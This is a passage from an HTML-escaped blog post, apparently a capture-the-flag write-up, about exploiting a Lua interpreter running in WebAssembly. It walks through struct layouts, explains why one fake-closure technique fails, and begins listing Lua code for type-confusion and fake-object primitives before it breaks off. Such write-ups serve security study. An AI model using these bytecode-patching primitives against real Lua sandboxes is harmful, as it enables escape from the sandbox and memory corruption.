class=\"n\"\u003eBYTES\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eLClosure\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eGCObject\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003enext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003elu_byte\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003ett\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003elu_byte\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003emarked\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003elu_byte\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003enupvalues\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGCObject\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003egclist\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e12\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eProto\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;---\u003c/span\u003e \u003cspan class=\"n\"\u003ePROTO\u003c/span\u003e \u003cspan class=\"n\"\u003eIS\u003c/span\u003e \u003cspan class=\"n\"\u003eAFTER\u003c/span\u003e \u003cspan class=\"mi\"\u003e12\u003c/span\u003e \u003cspan class=\"n\"\u003eBYTES\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUpVal\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"n\"\u003eupvals\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eLooking at the definition, it is now clear why the technique\nused in the blogpost would not work in this challenge:\nbecause even if we can confuse a TString with an LClosure,\nthe bytes of the Proto pointer are \u003cstrong\u003enot under our control\u003c/strong\u003e!\u003c/p\u003e\n\u003cimg src=\"alcawasm_closure_meme.jpg\" alt=\"AltText\"\u003e\u003cp\u003eOf course, there is another path.\u003c/p\u003e\n\u003ch3 id=\"cheer-upvalue\"\u003eCheer UpValue\u003c/h3\u003e\n\u003cp\u003eIn the linked blogpost, the author mentions another way of crafting\nfake objects that doesn\u0026rsquo;t go through overwriting the Prototype pointer.\nInstead, it uses upvalues.\u003c/p\u003e\n\u003cp\u003eBy looking at the definitions listed previously, you might have noticed that,\nwhile the Proto pointer in the LClosure cannot be controlled with\na TString, the pointer to the \u003ccode\u003eupvals\u003c/code\u003e array is instead nicely\naligned with the start of the string contents.\u003c/p\u003e\n\u003cp\u003eIndeed, the author mentions that fake objects can be created via\nupvalues too (but then chooses another road).\u003c/p\u003e\n\u003cp\u003eTo see how, we can inspect the code of the \u003ccode\u003eGETUPVAL\u003c/code\u003e opcode in Lua,\nthe instruction used to retrieve upvalues:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eUpVal\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eGCObject\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003enext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003elu_byte\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003ett\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003elu_byte\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003emarked\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eunion\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eTValue\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kt\"\u003eptrdiff_t\u003c/span\u003e \u003cspan class=\"n\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"n\"\u003ev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eunion\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eUpVal\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003enext\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eUpVal\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eprevious\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eUpVal\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eunnamed\u003c/span\u003e \u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eTValue\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"n\"\u003eu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003evmcase\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eOP_GETUPVAL\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003eStkId\u003c/span\u003e \u003cspan class=\"n\"\u003era\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eRA\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eb\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eGETARG_B\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nf\"\u003esetobj2s\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003era\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecl\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eupvals\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003ev\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003evmbreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eThe code visits the \u003ccode\u003ecl-\u0026gt;upvals\u003c/code\u003e array, navigates to the bth element,\nand takes the pointer to the TValue value \u003ccode\u003ev.p\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eAll in all, what we need to craft a fake object is depicted in the image below:\u003c/p\u003e\n\u003cimg src=\"alcawasm_fakeobj.png\" alt=\"AltText\"\u003e\u003cp\u003eThis deserves a try!\u003c/p\u003e\n\u003ch2 id=\"unleash-the-beast\"\u003eUnleash the beast\u003c/h2\u003e\n\u003cp\u003eA good test of our object artisanship skills would be to create\na fake string and have it correctly returned by our \u003ccode\u003ecraft_object\u003c/code\u003e\nprimitive. We will choose an arbitrary length for the string, and\nthen verify whether Lua agrees on its length once the object\nis crafted. This should confirm the primitive works.\u003c/p\u003e\n\u003cp\u003eDown below, I will list the complete code of the experiment,\nwhich implements the diagram above:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-lua\" data-lang=\"lua\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"kr\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e \u003cspan class=\"kr\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003eb\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"mi\"\u003e256\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003estring.char\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"mi\"\u003e256\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etable.concat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003easnum\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eload\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.dump\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e \u003cspan class=\"kr\"\u003edo\u003c/span\u003e \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\u003cspan class=\"n\"\u003egsub\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\xca\\x80\\x00\\x00\u003c/span\u003e\u003cspan 